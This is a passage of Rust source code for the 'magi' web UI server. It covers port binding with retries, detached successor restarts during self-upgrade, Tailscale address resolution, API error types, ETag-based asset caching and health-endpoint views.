1808/// Bind the port, waiting briefly for a predecessor to let go of it.
1809///
1810/// A restart hands the address from one process to the next, and the old one
1811/// holds its listener until it unwinds. A single `bind` can lose that race,
1812/// and for a restart triggered from a phone that means the deck never comes
1813/// back with no terminal around to say why.
1814///
1815/// Bounded, and only for the one error a wait can fix: anything else fails at
1816/// once, because retrying it would turn a clear message into a silence.
1817async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1818    const WINDOW: Duration = Duration::from_secs(10);
1819    const GAP: Duration = Duration::from_millis(250);
1820
1821    let deadline = std::time::Instant::now() + WINDOW;
1822    let mut said = false;
1823    loop {
1824        match tokio::net::TcpListener::bind(socket).await {
1825            Ok(listener) => return Ok(listener),
1826            Err(e)
1827                if e.kind() == std::io::ErrorKind::AddrInUse
1828                    && std::time::Instant::now() < deadline =>
1829            {
1830                if !said {
1831                    said = true;
1832                    tracing::info!(
1833                        "{socket} is still held - waiting up to {}s for it, \
1834                         which is what a restart looks like from here",
1835                        WINDOW.as_secs()
1836                    );
1837                }
1838                tokio::time::sleep(GAP).await;
1839            }
1840            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1841        }
1842    }
1843}
1844
1845/// Signalled when an upgrade has replaced the binary and the successor should
1846/// take this address over. One per process: there is one address to hand on.
1847static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1848
1849/// Set to `1` on the successor when the loop was running at handover.
1850const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1851/// Keep a dynamically assigned listener address stable across replacement.
1852const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1853
1854/// Whether the environment value asks for the loop to be resumed.
1855fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1856    value.is_some_and(|v| v == "1")
1857}
1858
1859/// Start this binary again with the same arguments, detached.
1860///
1861/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1862/// so the address is already free when the successor binds it. The first
1863/// attempt at this spawned the successor two hundred milliseconds before
1864/// exiting instead, and the released binary - which has no bind retry - died
1865/// on "address already in use" with its stdio sent to null, so the deck
1866/// simply never came back.
1867///
1868/// Detached and without inherited stdio: the successor has to outlive this
1869/// process, and must not hold open a pipe a terminal is waiting on.
1870///
1871/// The scheduler is restarted separately; execution workers are not awaited.
1872///
1873/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1874/// than sent to null: a supervisor's redirection only ever held the first
1875/// generation's descriptors, so every later generation logged nowhere. The
1876/// pid of the child is returned so the handover log can name it.
1877fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1878    let args: Vec<String> = std::env::args().skip(1).collect();
1879    updater::log_step(
1880        home,
1881        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1882    );
1883    let log_path = home.join(WEB_LOG);
1884    let open_log = || {
1885        std::fs::create_dir_all(home)?;
1886        std::fs::OpenOptions::new()
1887            .create(true)
1888            .append(true)
1889            .open(&log_path)
1890    };
1891    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1892        Ok(pair) => (
1893            std::process::Stdio::from(pair.0),
1894            std::process::Stdio::from(pair.1),
1895        ),
1896        Err(e) => {
1897            updater::log_warn(
1898                home,
1899                &format!(
1900                    "could not open {}: {e}; the successor logs nowhere",
1901                    log_path.display()
1902                ),
1903            );
1904            (std::process::Stdio::null(), std::process::Stdio::null())
1905        }
1906    };
1907
1908    let mut cmd = std::process::Command::new(exe);
1909    cmd.env_remove(RESUME_LOOP_ENV);
1910    cmd.env(RESTART_PORT_ENV, port.to_string());
1911    cmd.args(&args)
1912        .stdin(std::process::Stdio::null())
1913        .stdout(out)
1914        .stderr(err);
1915    #[cfg(windows)]
1916    {
1917        use std::os::windows::process::CommandExt as _;
1918        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1919        // and Ctrl-C in the old terminal must not reach the successor.
1920        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1921    }
1922    let child = cmd.spawn().context("start the successor")?;
1923    Ok(child.id())
1924}
1925
1926/// File under `<home>` the successor's output is appended to.
1927const WEB_LOG: &str = "web.log";
1928
1929/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1930/// stored by an earlier `notify_one` is consumed by the first poll, so the
1931/// signal is never missed and never wakes a second time.
1932async fn wait_for_handover(signal: &Notify) {
1933    signal.notified().await;
1934}
1935
1936/// Serve the UI independently from scheduler and execution workers.
1937/// A restart releases its listener before starting the successor.
1938pub async fn serve(opts: Opts) -> Result<()> {
1939    // Capture before self-replacement: current_exe may later name a removed
1940    // image on Linux or the renamed old image on Windows.
1941    crate::worker::remember_current_executable()?;
1942    let executable = std::env::current_exe().context("find the installed web executable")?;
1943    let (addr, warning) = resolve_bind(&opts.bind);
1944    if let Some(warning) = warning {
1945        tracing::warn!("{warning}");
1946    }
1947
1948    // Process-global, and therefore set exactly once, here: the report route
1949    // must never emit escape sequences into a browser, and toggling the flag
1950    // per request would race with a concurrent request rendering its own
1951    // report. Startup is the only moment at which no request can observe the
1952    // change. Nothing in the server turns colour back on.
1953    report::set_color(false);
1954
1955    let repo = normalize_default_repo(opts.repo).await;
1956    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1957    // The listener and periodic checker share one upgrade gate and state.
1958    let home = ui.home.clone();
1959    let admissions = Arc::clone(&ui.admissions);
1960    // Settles a progress record a predecessor left non-terminal - either this
1961    // *is* the successor `spawn_successor` started, or the previous process
1962    // died mid-handover. Before the router starts answering, so the very
1963    // first `/api/health` a phone gets from this process already reflects it.
1964    updater::reconcile_after_restart(&home);
1965    updater::log_step(
1966        &home,
1967        &format!(
1968            "web process started (version {}); handover log {}, successor output {}",
1969            env!("CARGO_PKG_VERSION"),
1970            updater::log_path(&home).display(),
1971            home.join(WEB_LOG).display()
1972        ),
1973    );
1974    updater::spawn_watchdog(home.clone());
1975    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1976    // `spawn_update_check` does at startup only ever runs once: after that,
1977    // `/api/health`'s `update` field - and the phone's "Update & restart"
1978    // button, which reads the very same cache - would stay frozen on
1979    // whatever that single check found, no matter how many releases ship
1980    // afterwards. The periodic checker below keeps it current and is
1981    // cancelled when the listener finishes.
1982    let port = if opts.port == 0 {
1983        std::env::var(RESTART_PORT_ENV)
1984            .ok()
1985            .and_then(|value| value.parse::<u16>().ok())
1986            .filter(|port| *port != 0)
1987            .unwrap_or(0)
1988    } else {
1989        opts.port
1990    };
1991    let socket = SocketAddr::new(addr, port);
1992    let listener = bind_waiting(socket).await?;
1993    let bound = listener.local_addr().context("read bound web address")?;
1994    let port = bound.port();
1995    let url = format!("http://{bound}");
1996    tracing::info!(
1997        "magi web UI on {url} - there is no authentication, so anyone who can \
1998         reach this address can file and hold tasks: the tailnet is the \
1999         security boundary"
2000    );
2001    // A legacy predecessor may request first-migration scheduler startup.
2002    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2003        ui.start_detached_loop()
2004            .await
2005            .map_err(|e| anyhow::anyhow!(e.message))?;
2006    }
2007    if opts.open {
2008        // The URL alone on stdout, for a caller that wants to open it. magi
2009        // does not spawn a browser: on the machine this usually runs on there
2010        // is no display, and a failed launch would be the only output.
2011        println!("{url}");
2012    }
2013
2014    // On its own task, so nothing this function awaits can stop the address
2015    // being answered. `hand_over` is where it is given up.
2016    let recheck_ui = ui.clone();
2017    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2018    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2019    let interrupted = async {
2020        if tokio::signal::ctrl_c().await.is_err() {
2021            // No handler on this platform, so there is no signal to act on.
2022            // Never resolving is the safe answer: a failed registration must
2023            // not masquerade as the operator asking for a shutdown and take
2024            // the UI down on startup.
2025            std::future::pending::<()>().await;
2026        }
2027    };
2028    let handover = wait_for_handover(&HANDOVER);
2029    let outcome = tokio::select! {
2030        joined = &mut served => match joined {
2031            Ok(outcome) => outcome.context("serve the web UI"),
2032            Err(e) => Err(e).context("the task serving the web UI ended"),
2033        },
2034        () = interrupted => {
2035            recheck.abort();
2036            tracing::info!("shutting down the web UI; detached workers continue");
2037            close_admissions(&admissions).await;
2038            served.abort();
2039            let _ = served.await;
2040            Ok(())
2041        }
2042        () = handover => {
2043            recheck.abort();
2044            let successor_home = home.clone();
2045            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2046        }
2047    };
2048    recheck.abort();
2049    let _ = recheck.await;
2050    updater::log_step(
2051        &home,
2052        &match &outcome {
2053            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2054            Err(e) => format!("serve: returning an error: {e:#}"),
2055        },
2056    );
2057    outcome
2058}
2059
2060/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2061/// process's own working directory is not a git checkout at all - the
2062/// checkout [`repos::discover_verified`] finds instead.
2063///
2064/// Only the unmodified default is ever replaced: an operator who named a
2065/// directory outright, git checkout or not, gets exactly that directory
2066/// back, and the same story downstream (a talk whose briefing embeds a
2067/// non-git directory, and an agent that has to ask the operator where the
2068/// real repository is) that has always told them so - substituting a guess
2069/// for an explicit answer would be a second, silent opinion about what they
2070/// meant. There is no instruction or task text yet to match against this
2071/// early, so only [`repos::discover_verified`]'s own-repository tier can
2072/// ever settle this - the hint tier never fires here.
2073///
2074/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2075/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2076/// or a git installation that is broken in exactly the way that made the
2077/// original `canonical` check above fail too - so it is re-checked with
2078/// `git::toplevel` before it is ever used in place of the operator's own
2079/// directory.
2080async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2081    if repo != FsPath::new(".") {
2082        return repo;
2083    }
2084    let Ok(canonical) = repo.canonicalize() else {
2085        return repo;
2086    };
2087    if git::toplevel(&canonical).await.is_ok() {
2088        return repo;
2089    }
2090    let Some(home) = dirs::home_dir() else {
2091        return repo;
2092    };
2093    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2094        Some(found) => {
2095            tracing::info!(
2096                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2097                canonical.display(),
2098                found.path.display(),
2099                found.reason,
2100            );
2101            found.path
2102        }
2103        None => repo,
2104    }
2105}
2106
2107/// Close new ingress and finish only transactions publishing durable work.
2108/// The writer waits for owned admission guards, not task or chat turn leases.
2109async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2110    *admissions.write().await = true;
2111}
2112
2113/// Restart only the scheduler and web listener, never their execution workers.
2114/// The old listener must be fully released before the successor is started.
2115async fn hand_over(
2116    home: &FsPath,
2117    admissions: &tokio::sync::RwLock<bool>,
2118    served: tokio::task::JoinHandle<std::io::Result<()>>,
2119    successor: impl FnOnce() -> Result<u32>,
2120) -> Result<()> {
2121    close_admissions(admissions).await;
2122    if let Some(mut progress) = updater::read_progress(home) {
2123        progress.advance(updater::Stage::Restarting);
2124        progress.detail =
2125            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2126        updater::write_progress_logged(home, &progress);
2127    }
2128    updater::log_step(
2129        home,
2130        "restarting scheduler without parking execution workers",
2131    );
2132    let scheduler = daemon::restart_detached(home).await;
2133    if let Err(error) = &scheduler {
2134        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2135        updater::log_warn(
2136            home,
2137            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2138        );
2139    }
2140    updater::log_step(home, "releasing the web listener");
2141    served.abort();
2142    let _ = served.await;
2143    updater::log_step(home, "web listener released; starting the successor");
2144    match successor() {
2145        Ok(pid) => {
2146            updater::log_step(home, &format!("successor started, pid {pid}"));
2147            scheduler
2148        }
2149        Err(e) => {
2150            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2151            Err(e)
2152        }
2153    }
2154}
2155
2156/// Resolve `--bind` to an address, plus a warning when the answer is not what
2157/// the operator asked for.
2158///
2159/// Split out from [`serve`] because the interesting half - deciding whether
2160/// Tailscale gave us something usable - is testable without opening a socket.
2161pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2162    match bind {
2163        Bind::Addr(addr) => (*addr, None),
2164        Bind::Auto => match tailscale_ip() {
2165            Ok(ip) => (IpAddr::V4(ip), None),
2166            Err(why) => (
2167                IpAddr::V4(Ipv4Addr::LOCALHOST),
2168                Some(format!(
2169                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2170                     local-only and a phone cannot reach it; start Tailscale \
2171                     or pass --bind <addr>"
2172                )),
2173            ),
2174        },
2175    }
2176}
2177
2178/// This machine's Tailscale IPv4, or why there is not one.
2179///
2180/// `tailscale ip -4` is a local call against the running daemon and returns in
2181/// milliseconds, so it is fine to make it synchronously before the server
2182/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2183/// CGNAT block Tailscale assigns from, and anything else on that output would
2184/// be a different tool answering.
2185fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2186    let out = std::process::Command::new("tailscale")
2187        .args(["ip", "-4"])
2188        .quiet()
2189        .output()
2190        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2191    if !out.status.success() {
2192        let why = String::from_utf8_lossy(&out.stderr);
2193        let why = why.trim();
2194        return Err(format!(
2195            "`tailscale ip -4` failed ({}){}",
2196            out.status,
2197            if why.is_empty() {
2198                String::new()
2199            } else {
2200                format!(": {why}")
2201            }
2202        ));
2203    }
2204    String::from_utf8_lossy(&out.stdout)
2205        .lines()
2206        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2207        .find(is_tailnet)
2208        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2209}
2210
2211/// Is this address in the CGNAT block Tailscale hands out from?
2212fn is_tailnet(ip: &Ipv4Addr) -> bool {
2213    let o = ip.octets();
2214    o[0] == 100 && (64..=127).contains(&o[1])
2215}
2216
2217/// What every handler returns. Spelled out because `Result` in this crate is
2218/// `anyhow::Result`, and a handler's error is a status code as much as a
2219/// message.
2220type ApiResult<T> = std::result::Result<T, ApiError>;
2221
2222/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2223#[derive(Debug)]
2224struct ApiError {
2225    status: StatusCode,
2226    message: String,
2227    text_reason: Option<crate::question_delivery::UnavailableReason>,
2228}
2229
2230impl ApiError {
2231    /// The client asked for something malformed.
2232    fn bad_request(message: impl Into<String>) -> Self {
2233        Self {
2234            text_reason: None,
2235            status: StatusCode::BAD_REQUEST,
2236            message: message.into(),
2237        }
2238    }
2239
2240    /// No such run or task.
2241    fn not_found(message: impl Into<String>) -> Self {
2242        Self {
2243            text_reason: None,
2244            status: StatusCode::NOT_FOUND,
2245            message: message.into(),
2246        }
2247    }
2248
2249    /// Someone else owns the thing the client wants to change.
2250    /// Re-badge an error whose default mapping is wrong for this route.
2251    fn with_status(mut self, status: StatusCode) -> Self {
2252        self.status = status;
2253        self
2254    }
2255
2256    /// A rules violation from a domain type, reported as the caller's fault.
2257    /// `Question::answer` rejects an unoffered choice, and that is a bad
2258    /// request, not a server error.
2259    fn bad_request_from(e: anyhow::Error) -> Self {
2260        Self::bad_request(format!("{e:#}"))
2261    }
2262
2263    fn conflict(message: impl Into<String>) -> Self {
2264        Self {
2265            text_reason: None,
2266            status: StatusCode::CONFLICT,
2267            message: message.into(),
2268        }
2269    }
2270
2271    /// Our fault, or the disk's.
2272    fn internal(message: impl Into<String>) -> Self {
2273        Self {
2274            text_reason: None,
2275            status: StatusCode::INTERNAL_SERVER_ERROR,
2276            message: message.into(),
2277        }
2278    }
2279}
2280
2281impl From<anyhow::Error> for ApiError {
2282    /// Errors from `queue` and `run` carry their context chain, and the whole
2283    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2284    /// value at line 3" is a message an operator can act on, and there is no
2285    /// secret in a path on a single-user tailnet.
2286    fn from(e: anyhow::Error) -> Self {
2287        Self::internal(format!("{e:#}"))
2288    }
2289}
2290
2291impl IntoResponse for ApiError {
2292    fn into_response(self) -> Response {
2293        let mut body = serde_json::json!({ "error": self.message });
2294        if let Some(reason) = self.text_reason {
2295            body["code"] = serde_json::json!("question_text_unavailable");
2296            body["reason"] = serde_json::json!(reason);
2297        }
2298        (self.status, Json(body)).into_response()
2299    }
2300}
2301
2302/// Run a handler's filesystem work off the executor.
2303///
2304/// Every route that touches the disk goes through here rather than each one
2305/// arguing about whether its own read is small enough. Uniform because the
2306/// expensive case is not rare: `run.json` for a finished competition holds
2307/// every judgement, deliberation turn and review round, so listing a few
2308/// hundred runs is megabytes of parsing, and the executor threads doing it are
2309/// the same ones serving the change stream of every other connected phone.
2310async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2311where
2312    T: Send + 'static,
2313{
2314    #[cfg(test)]
2315    let job = request_cost::carry(job);
2316    match tokio::task::spawn_blocking(job).await {
2317        Ok(result) => result,
2318        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2319    }
2320}
2321
2322/// Bulk readers have a bounded, separate execution lane. A cold health
2323/// index or multiple slow list clients cannot occupy the pool serving detail.
2324async fn bulk_blocking<T>(
2325    slots: Arc<tokio::sync::Semaphore>,
2326    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2327) -> ApiResult<T>
2328where
2329    T: Send + 'static,
2330{
2331    let permit = slots
2332        .acquire_owned()
2333        .await
2334        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2335    let (send, receive) = tokio::sync::oneshot::channel();
2336    #[cfg(test)]
2337    let job = request_cost::carry(job);
2338    let runtime = tokio::runtime::Handle::current();
2339    std::thread::Builder::new()
2340        .name("web-bulk".into())
2341        .spawn(move || {
2342            let _permit = permit;
2343            // Capacity observations schedule their independent blocking job.
2344            let _runtime = runtime.enter();
2345            let _ = send.send(job());
2346        })
2347        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2348    receive
2349        .await
2350        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2351}
2352
2353/// Cache policy for the three compiled-in front-end files.
2354///
2355/// The whole interface is `include_str!`ed into the binary, so its content
2356/// changes only when the binary does - and a phone that keeps a copy is
2357/// welcome to, right up until the deck is replaced. Without a single cache
2358/// header, browsers were free to invent their own policy, and one did:
2359/// yukimemi's phone went on showing "Candidates must be folded before
2360/// deleting. Run `magi fold` first." - a sentence deleted two releases
2361/// earlier - from a run detail served by a deck that no longer contained it.
2362/// The delete button he was told about was right there, and unreachable.
2363///
2364/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2365/// every time, the answer is a 304 costing one small round trip while the
2366/// deck is unchanged, and the moment it is replaced the tag differs and the
2367/// new interface arrives. Correctness over bytes - this is one file of a few
2368/// tens of kilobytes on a tailnet, and being a version behind is not a
2369/// cosmetic problem when the difference is whether a button exists.
2370const ASSET_CACHE: &str = "no-cache, must-revalidate";
2371
2372/// `ETag` for the compiled-in assets, distinct per build.
2373///
2374/// The version alone would leave a locally built deck - `cargo install
2375/// --path .` twice at the same version, which is the normal way to iterate -
2376/// serving a stale tag for changed bytes. The build timestamp is what makes
2377/// two builds of `0.3.0` differ.
2378fn asset_etag() -> &'static str {
2379    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2380        format!(
2381            "\"{}-{}\"",
2382            env!("CARGO_PKG_VERSION"),
2383            // Length is a cheap, deterministic stand-in for a hash: the
2384            // three files are compiled in together, so any edit to any of
2385            // them almost certainly changes the total, and a rebuild is what
2386            // this needs to track rather than every possible byte pattern.
2387            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2388        )
2389    });
2390    &TAG
2391}
2392
2393/// Headers for a compiled-in asset of `mime`.
2394fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2395    [
2396        (header::CONTENT_TYPE, mime),
2397        (header::CACHE_CONTROL, ASSET_CACHE),
2398        (header::ETAG, asset_etag()),
2399    ]
2400}
2401
2402/// Serve a compiled-in asset, answering `304` when the client already has it.
2403///
2404/// axum does not compare `If-None-Match` for us, and a header the server sets
2405/// but never honours is worse than none: the phone revalidates on every load
2406/// and is handed the whole file back each time. Doing the comparison is what
2407/// makes `must-revalidate` cost one small round trip rather than the
2408/// interface.
2409fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2410    let tag = asset_etag();
2411    let known = headers
2412        .get(header::IF_NONE_MATCH)
2413        .and_then(|v| v.to_str().ok())
2414        // A revalidating client may send several, and a proxy may weaken the
2415        // tag to `W/"..."`; matching on containment covers both without
2416        // parsing the grammar.
2417        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2418    if known {
2419        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2420    }
2421    (asset_headers(mime), body).into_response()
2422}
2423
2424async fn index(headers: header::HeaderMap) -> Response {
2425    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2426}
2427
2428async fn app_css(headers: header::HeaderMap) -> Response {
2429    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2430}
2431
2432async fn app_js(headers: header::HeaderMap) -> Response {
2433    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2434}
2435
2436/// What `/api/health` answers.
2437#[derive(Debug, Serialize)]
2438struct HealthView {
2439    version: &'static str,
2440    home: String,
2441    queue_rev: u64,
2442    runs_rev: u64,
2443    /// The same revisions [`events`] streams for the question and talk
2444    /// stores.
2445    ///
2446    /// Here because this route is what the front end falls back to when the
2447    /// change stream is not up - it re-polls health on a timer and on wake, and
2448    /// takes the revisions from the answer. Without these the fallback
2449    /// compares `undefined` against `undefined` for both stores, decides
2450    /// nothing moved, and a phone with a dead stream never learns that a
2451    /// question was asked or that a talk took a turn. `queue_rev` and
2452    /// `runs_rev` above have always been here for exactly this reason; the rule
2453    /// is that every revision the stream carries, this route carries too.
2454    questions_rev: u64,
2455    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2456    talks_rev: u64,
2457    /// See [`HealthView::questions_rev`]. The notification centre's store.
2458    notifications_rev: u64,
2459    /// Notifications nobody has read yet: the bell's badge before
2460    /// `/api/notifications` has answered.
2461    notifications_unread: usize,
2462    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2463    /// is not on disk anywhere, so a phone with no change stream has no other
2464    /// way to notice that the loop it is waiting on was started from another
2465    /// device.
2466    loop_rev: u64,
2467    /// Runs on disk whose state this build cannot parse - almost always a
2468    /// schema bump, occasionally a run killed mid-write.
2469    ///
2470    /// Reported because the list silently skips them, and "no competitions
2471    /// yet" is a lie when six of them are sitting in the runs directory. The
2472    /// terminal deck learned the same lesson: a run that fails to parse must
2473    /// not disappear from the count.
2474    runs_unreadable: usize,
2475    /// The disk, and what the runs and their worktrees occupy on it.
2476    ///
2477    /// This is the incident the janitor exists for: magi alone put 30 GB into
2478    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2479    /// is exactly where the operator learns "the disk is the constraint" -
2480    /// the diagnosis that a run is being held for want of space has to be
2481    /// checkable on the same screen.
2482    disk: Option<serde_json::Value>,
2483    /// Questions nobody has answered yet, including ones an owner talked
2484    /// back on and is now waiting for the agent's reply to. A round trip
2485    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2486    /// while the ball is in the agent's court - see
2487    /// [`crate::ask::Questions::count_open`].
2488    questions_open: usize,
2489    /// Of those, how many actually need the owner right now: open, and not
2490    /// [`crate::ask::Question::waiting_on_agent`].
2491    ///
2492    /// The one number that means "nothing will happen until a human acts" -
2493    /// a parked run consumes nothing and progresses never - and the count the
2494    /// ask bar, the nav badge and the document title fall back to before
2495    /// `/api/questions` has answered, so those notification channels clear
2496    /// the instant the owner asks back and reappear the instant the agent
2497    /// replies, instead of sitting lit for however long the agent thinks.
2498    questions_needs_owner: usize,
2499    daemon: DaemonView,
2500    /// The independently controllable scheduler, as `/api/loop` reports it.
2501    ///
2502    /// Here so a phone that has just woken needs one request to know whether
2503    /// anything is going to happen at all: `daemon` says a loop is alive
2504    /// somewhere, and this says whether it is one this UI can stop.
2505    #[serde(rename = "loop")]
2506    looping: LoopView,
2507    /// Whether a release newer than this build is known, and which.
2508    ///
2509    /// From [`updater::Checker::cached_update`] - the same throttled state the
2510    /// CLI's `notify` mode banners from - never a live check: this route is
2511    /// polled every few seconds, and a live check on each poll would spend
2512    /// GitHub's rate limit before the operator finished reading the strip.
2513    update: UpdateView,
2514    /// The self-upgrade this deck last set in motion, or `null` before the
2515    /// first one. Read off disk, so the successor can report what its
2516    /// predecessor started.
2517    upgrade: Option<UpgradeProgressView>,
2518    /// Detached jobs survive replacement of this web process. Each reports
2519    /// its own immutable executable generation rather than the web version.
2520    jobs: Vec<WorkerView>,
2521    upgrade_request_error: Option<UpgradeRequestFailure>,
2522}
2523
2524/// Public execution metadata only. Job payloads contain private configuration
2525/// and must never be returned by the health endpoint.
2526#[derive(Debug, Serialize)]
2527struct WorkerView {
2528    id: String,
2529    kind: String,
2530    key: String,
2531    pid: Option<u32>,
2532    status: crate::worker::Status,
2533    generation: String,
2534    version: Option<String>,
2535    queue_owned: bool,
2536}
2537
2538impl From<crate::worker::Job> for WorkerView {
2539    fn from(job: crate::worker::Job) -> Self {
2540        let queue_owned = job.kind == "task"
2541            && job
2542                .payload
2543                .get("standalone")
2544                .and_then(serde_json::Value::as_bool)
2545                != Some(true);
2546        Self {
2547            id: job.id,
2548            kind: job.kind,
2549            key: job.key,
2550            pid: job.pid,
2551            status: job.status,
2552            generation: job.generation,
2553            version: job.version,
2554            queue_owned,
2555        }
2556    }
2557}
2558
2559/// What `/api/health` knows about a release newer than this build.
2560///
2561/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2562/// is already the newest" from "never checked" - both are `None` - and the
2563/// phone needs to tell those apart to decide whether the deck can be trusted
2564/// to have an opinion at all.
2565#[derive(Debug, Clone, Serialize)]
2566struct UpdateView {
2567    /// A newer release is known to exist.
2568    available: bool,
2569    /// Its tag, when `available`.
2570    to: Option<String>,
2571}
2572
2573/// [`updater::Progress`] as `/api/health` reports it.
2574#[derive(Debug, Serialize)]
2575struct UpgradeProgressView {
2576    trigger: updater::UpgradeTrigger,
2577    stage: updater::Stage,
2578    from: String,
2579    to: Option<String>,
2580    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2581    /// the step it is finishing before the address is handed over.
2582    waiting_on: Option<String>,
2583    started_at: Timestamp,
2584    updated_at: Timestamp,
2585    detail: Option<String>,
2586    /// Seconds the stage has outlived its allowance, when it has - see
2587    /// [`updater::stall`]. `null` while the stage is moving normally.
2588    stuck_for_secs: Option<i64>,
2589    /// Which kind of stuck: `never_entered` (hand_over left no record of
2590    /// starting) or `stopped_beating`. `null` when not stuck.
2591    stuck_kind: Option<updater::StallKind>,
2592    /// `hand_over` is alive and waiting on the loop: however long that takes,
2593    /// it is not an overdue upgrade.
2594    handover_alive: bool,
2595}
2596
2597/// Whether [`run_update_recheck`] may act at all this tick.
2598///
2599/// The same two conditions [`updater::Checker::new`] and
2600/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2601/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2602/// GitHub from this process" - on a button press or on a timer alike.
2603fn should_spawn_recheck(cfg: &Update) -> bool {
2604    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2605}
2606
2607/// Whether this tick should actually reach the network, once checking itself
2608/// is allowed.
2609///
2610/// An upgrade already in flight must not be raced by a check that discovers
2611/// a *newer* release while one is still installing - a phone watching
2612/// `/api/health` would see the answer change out from under the upgrade it
2613/// already asked for. Past that, [`updater::Checker::should_check`] is the
2614/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2615/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2616/// polling period, is what keeps this task's network use to at most once per
2617/// `[update] interval` regardless of how often it wakes up.
2618fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2619    if progress.is_some_and(|p| !p.stage.terminal()) {
2620        return false;
2621    }
2622    checker.should_check()
2623}
2624
2625/// How long [`run_update_recheck`] sleeps before its next wake-up.
2626///
2627/// A fraction of the configured `[update] interval` rather than a fixed
2628/// number: a fixed sleep longer than a short custom interval would leave the
2629/// deck waiting on its own wake-up rather than on `should_check`, so an
2630/// operator who set `interval = "1m"` to make the UI catch up quickly would
2631/// not see that take effect until the next restart - exactly the bug this
2632/// task exists to fix, just moved one level down. Scaling with the interval
2633/// keeps the wake-up prompt relative to what was actually configured, while
2634/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2635/// still what caps the network calls themselves at one per interval,
2636/// regardless of how often this fires.
2637fn recheck_poll_period(cfg: &Update) -> Duration {
2638    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2639}
2640
2641#[derive(Debug, PartialEq, Eq)]
2642enum AutoUpgradeDecision {
2643    Skip(&'static str),
2644    Wait,
2645    Trigger,
2646}
2647
2648fn auto_upgrade_decision(
2649    cfg: &Update,
2650    disabled: bool,
2651    in_motion: bool,
2652    busy: bool,
2653    tag: &str,
2654    failed: Option<&str>,
2655) -> AutoUpgradeDecision {
2656    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2657        AutoUpgradeDecision::Skip("disabled")
2658    } else if in_motion {
2659        AutoUpgradeDecision::Skip("upgrade already in progress")
2660    } else if failed == Some(tag) {
2661        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2662    } else if busy {
2663        AutoUpgradeDecision::Wait
2664    } else {
2665        AutoUpgradeDecision::Trigger
2666    }
2667}
2668
